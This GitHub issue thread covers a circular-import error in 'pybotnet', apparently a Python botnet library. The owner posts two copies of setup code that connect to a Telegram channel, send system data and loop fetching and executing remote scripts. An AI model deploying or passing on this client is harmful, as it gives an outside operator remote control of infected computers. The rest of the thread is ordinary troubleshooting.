Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ImportError #26

Closed
Ali-Imangholi opened this issue Feb 23, 2022 · 13 comments
Closed

ImportError #26

Ali-Imangholi opened this issue Feb 23, 2022 · 13 comments
Labels
bug Something isn't working help wanted Extra attention is needed

Comments

@Ali-Imangholi
Copy link

Hi, onionj.
When I imported pybotnet and ran the code I got this error.
ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import)
Would you help me, please?

@Ali-Imangholi Ali-Imangholi changed the title error ImportError Feb 23, 2022
@SepehrRasouli
Copy link
Collaborator

Did you install pybotnet with pip or Did you try to import from the pybotnet directory ?
Could you elaborate a little bit more ?

@Ali-Imangholi
Copy link
Author

Thanks for your responding.
For first time I used pip but it showed the error which I send it above and second time I used Pycharm and its package manager and again it showed the same error.

@SepehrRasouli
Copy link
Collaborator

SepehrRasouli commented Feb 24, 2022 via email

@Ali-Imangholi
Copy link
Author

Unfortunately, it did not work.

@SepehrRasouli
Copy link
Collaborator

SepehrRasouli commented Feb 25, 2022

Could you plesae send the errors?

@Ali-Imangholi
Copy link
Author

Traceback (most recent call last):
File "xxxxxxxx", line 1, in
from pybotnet import utils
File "xxxxxxxx\Python\Python39\lib\site-packages\pybotnet_init_.py", line 1, in
from .pybotnet import PyBotNet
File "xxxxxxxx\Python\Python39\lib\site-packages\pybotnet\pybotnet.py", line 2, in
from . import util
ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import) (xxxxxxxx\Python\Python39\lib\site-packages\pybotnet_init_.py)

@onionj
Copy link
Owner

onionj commented Feb 26, 2022

I checked the following codes on Windows 10 and Debin 11 and they worked properly

from pybotnet import pybotnet
import time

TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'
ADMIN_CHAT_ID = '12345678910'

bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID, show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)
from pybotnet import PyBotNet
import time

TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'
ADMIN_CHAT_ID = '12345678910'

bot = PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID, show_log=True, send_system_data=True)

delay = 7

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)

If you send your ‍‍‍code, file name and operating system, I may be able to help

@onionj onionj added bug Something isn't working help wanted Extra attention is needed labels Feb 26, 2022
@Ali-Imangholi
Copy link
Author

I just had copied your sample code and then it had "circular import" error.
I use windows10.

@onionj
Copy link
Owner

onionj commented Feb 28, 2022

The file name is also important

@Ali-Imangholi
Copy link
Author

It is "bot.py"

@SepehrRasouli
Copy link
Collaborator

I can't recreate this error to fix it , i tried it on ubuntu vm and on my own machine and it worked correctly on both.
Are you sure the problem is not from your side ? Can you run it on another machine to help us recreate it ?

@Ali-Imangholi
Copy link
Author

Ali-Imangholi commented Mar 2, 2022

It became correct when I download it from GitHub.

@SepehrRasouli
Copy link
Collaborator

Interesting.
Are you sure your python is configured correctly ? Can you test it on another computer ?
Downloading pybotnet from github doesn't install it on your computer , so the problem might be from your side.

@onionj onionj closed this as completed Mar 31, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working help wanted Extra attention is needed
Projects
None yet
Development

No branches or pull requests

3 participants